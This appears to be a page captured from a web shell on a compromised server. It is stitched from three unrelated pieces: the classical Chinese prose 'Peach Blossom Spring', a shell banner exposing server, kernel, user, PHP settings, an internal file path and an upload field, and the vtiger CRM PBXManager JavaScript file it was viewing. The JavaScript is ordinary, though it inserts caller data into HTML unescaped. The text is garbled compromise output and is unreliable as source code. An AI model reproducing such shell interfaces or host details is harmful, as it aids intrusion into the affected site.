晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /proc/self/root/home/akaindir/public_html/crm/modules/PBXManager/resources/ |
Upload File : |
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
var Vtiger_PBXManager_Js = {
/**
* Function registers PBX for popups
*/
registerPBXCall : function() {
Vtiger_PBXManager_Js.requestPBXgetCalls();
},
/**
* Function registers PBX for Outbound Call
*/
registerPBXOutboundCall : function(number,record) {
Vtiger_PBXManager_Js.makeOutboundCall(number,record);
},
/**
* Function request for PBX popups
*/
requestPBXgetCalls : function() {
var url = 'index.php?module=PBXManager&action=IncomingCallPoll&mode=searchIncomingCalls';
app.request.get({url: url}).then(function(e, result){
if(result) {
for(i=0; i< result.length; i++) {
var record = result[i];
if(jQuery('#pbxcall_'+record.pbxmanagerid+'').size()== 0 )
Vtiger_PBXManager_Js.showPBXIncomingCallPopup(record);
else
Vtiger_PBXManager_Js.updatePBXIncomingCallPopup(record);
}
}
});
Vtiger_PBXManager_Js.removeCompletedCallPopup();
},
/**
* Function display the PBX popup
*/
showPBXIncomingCallPopup : function(record) {
var params = {
title: app.vtranslate('JS_PBX_INCOMING_CALL'),
message: '<div class="row-fluid pbxcall" id="pbxcall_'+record.pbxmanagerid+'" callid='+record.pbxmanagerid+' style="color:black"><span class="span12" id="caller" value="'+record.customernumber+'">'+app.vtranslate('JS_PBX_CALL_FROM')+' : '+record.customernumber+'</span><span class="hide span12" id="contactsave_'+record.pbxmanagerid+'">\n\
<span><input class="span3" id="email_'+record.pbxmanagerid+'" type="text" placeholder="Enter Email-id"></input> <select class="input-small" id="module_'+record.pbxmanagerid+'" placeholder="Select"><option>Select</option></select><h5 class="alert-danger hide span3" id="alert_msg">'+app.vtranslate('JS_PBX_FILL_ALL_FIELDS')+'</h5>\n\
<button class="btn btn-success pull-right" id="pbxcontactsave_'+record.pbxmanagerid+'" recordid="'+record.pbxmanagerid+'" type="submit">Save</button>\n\
</span></span><br/><span class="span12" style="display:none" id="answeredby"><i class="icon-headphones"></i> <span id="answeredbyname"></span></span></div>',
};
var settings = {
delay: 0,
placement: {
from: 'top',
align: 'right'
}
};
jQuery.notify(params, settings);
//To remove the popup for all users except answeredby (existing record)
if(record.user) {
if(record.user != record.current_user_id) {
Vtiger_PBXManager_Js.removeCallPopup(record.pbxmanagerid);
}
}
// To check if it is new or existing contact
Vtiger_PBXManager_Js.checkIfRelatedModuleRecordExist(record);
if(record.answeredby!=null){
jQuery('#answeredbyname','#pbxcall_'+record.pbxmanagerid+'').text(record.answeredby);
jQuery('#answeredby','#pbxcall_'+record.pbxmanagerid+'').show();
}
jQuery('#pbxcontactsave_'+record.pbxmanagerid+'').bind('click', function(e) {
var pbxmanagerid = jQuery(e.currentTarget).attr('recordid');
if(jQuery('#module_'+pbxmanagerid+'').val() == 'Select'){
jQuery('#alert_msg').show();
return false;
}
if(jQuery('#email_'+pbxmanagerid+'').val() == ""){
jQuery('#alert_msg').show();
return false;
}
Vtiger_PBXManager_Js.createRecord(e, record);
//To restrict the save button action to one click
jQuery('#pbxcontactsave_'+record.pbxmanagerid+'').unbind('click');
});
},
createRecord: function(e, record) {
var pbxmanagerid = jQuery(e.currentTarget).attr('recordid');
var email = jQuery('#email_'+pbxmanagerid+'').val();
var moduleName = jQuery('#module_'+pbxmanagerid+'').val();
var number = jQuery('#caller','#pbxcall_'+pbxmanagerid+'').attr("value");
var url = 'index.php?module=PBXManager&action=IncomingCallPoll&mode=createRecord&number='+encodeURIComponent(number)+'&email='+encodeURIComponent(email)+'&callid='+record.sourceuuid+'&modulename='+moduleName;
app.request.get({url: url}).then(function(e, result){
if(result) {
jQuery('#contactsave_'+pbxmanagerid+'').hide();
}
});
},
checkIfRelatedModuleRecordExist: function(record) {
switch(record.callername){
case null: var url = 'index.php?module=PBXManager&action=IncomingCallPoll&mode=checkModuleViewPermission&view=EditView';
app.request.get({url: url}).then(function(e, result){
if (e) return;
var showSaveOption = false;
var moduleList = result.modules;
var contents = jQuery('#module_'+record.pbxmanagerid+'');
var newEle;
for(var module in moduleList){
if(moduleList.hasOwnProperty(module)) {
if(moduleList[module]){
newEle = '<option id="select_'+module+'" value="'+module+'">'+app.vtranslate(module)+'</option>';
contents.append(newEle);
showSaveOption = true;
}
}
}
if(showSaveOption)
jQuery('#contactsave_'+record.pbxmanagerid+'').show();
});
break;
default: jQuery('#caller','#pbxcall_'+record.pbxmanagerid+'').html(app.vtranslate('JS_PBX_CALL_FROM')+' : <a href="index.php?module='+record.customertype+'&view=Detail&record='+record.customer+'">'+record.callername+'</a>');
break;
}
},
/**
* Function to update the popup with answeredby, hide contactsave option e.t.c.,
*/
updatePBXIncomingCallPopup: function(record){
if(record.answeredby!=null){
jQuery('#answeredbyname','#pbxcall_'+record.pbxmanagerid+'').text(record.answeredby);
jQuery('#answeredby','#pbxcall_'+record.pbxmanagerid+'').show();
}
if(record.customer!=null && record.customer!=''){
jQuery('#caller','#pbxcall_'+record.pbxmanagerid+'').html(app.vtranslate('JS_PBX_CALL_FROM')+' : <a href="index.php?module='+record.customertype+'&view=Detail&record='+record.customer+'">'+record.callername+'</a>');
jQuery('#contactsave_'+record.pbxmanagerid+'').hide();
}
//To remove the popup for all users except answeredby (new record)
if(record.user) {
if(record.user != record.current_user_id) {
Vtiger_PBXManager_Js.removeCallPopup(record.pbxmanagerid);
}
}
},
/**
* Function to remove the call popup which is completed
*/
removeCompletedCallPopup:function(){
var callid = null;
var pbxcall = jQuery('.pbxcall');
for(var i=0; i<pbxcall.length;i++){
callid = pbxcall[i].getAttribute('callid');
var url = 'index.php?module=PBXManager&action=IncomingCallPoll&mode=getCallStatus&callid='+encodeURIComponent(callid)+'';
app.request.get({url: url}).then(function(e, result){
if(result){
if(result!='in-progress' && result!='ringing'){
Vtiger_PBXManager_Js.removeCallPopup(callid);
}
}
});
}
},
/**
* Function to remove call popup
*/
removeCallPopup: function(callid) {
jQuery('#pbxcall_'+callid+'').closest('.vt-notification').remove();
},
/**
* To get contents holder based on the view
*/
getContentHolder:function(view){
if(view == 'List')
return jQuery('.listViewContentDiv');
else
return jQuery('.detailViewContainer');
},
/**
* Function to forward call to number
*/
makeOutboundCall : function(number, record){
var params = {
'number' : number,
'record' : record,
'module' : 'PBXManager',
'action' : 'OutgoingCall'
}
app.request.post({data: params}).then(function(e, result){
if(result){
params = {
'title' : app.vtranslate('JS_PBX_OUTGOING_SUCCESS'),
'type' : 'info'
}
}else{
params = {
'title' : app.vtranslate('JS_PBX_OUTGOING_FAILURE'),
'type' : 'error'
}
}
Vtiger_Helper_Js.showPnotify(params);
});
},
/**
* Function to register required events
*/
registerEvents : function(){
var thisInstance = this;
//for polling
var url = 'index.php?module=PBXManager&action=IncomingCallPoll&mode=checkPermissionForPolling';
app.request.get({url: url}).then(function(e, result){
if(result) {
Vtiger_PBXManager_Js.registerPBXCall();
//setInterval("Vtiger_PBXManager_Js.registerPBXCall()", 3000);
}
});
}
}
//On Page Load
jQuery(window).load(function() {
Vtiger_PBXManager_Js.registerEvents();
});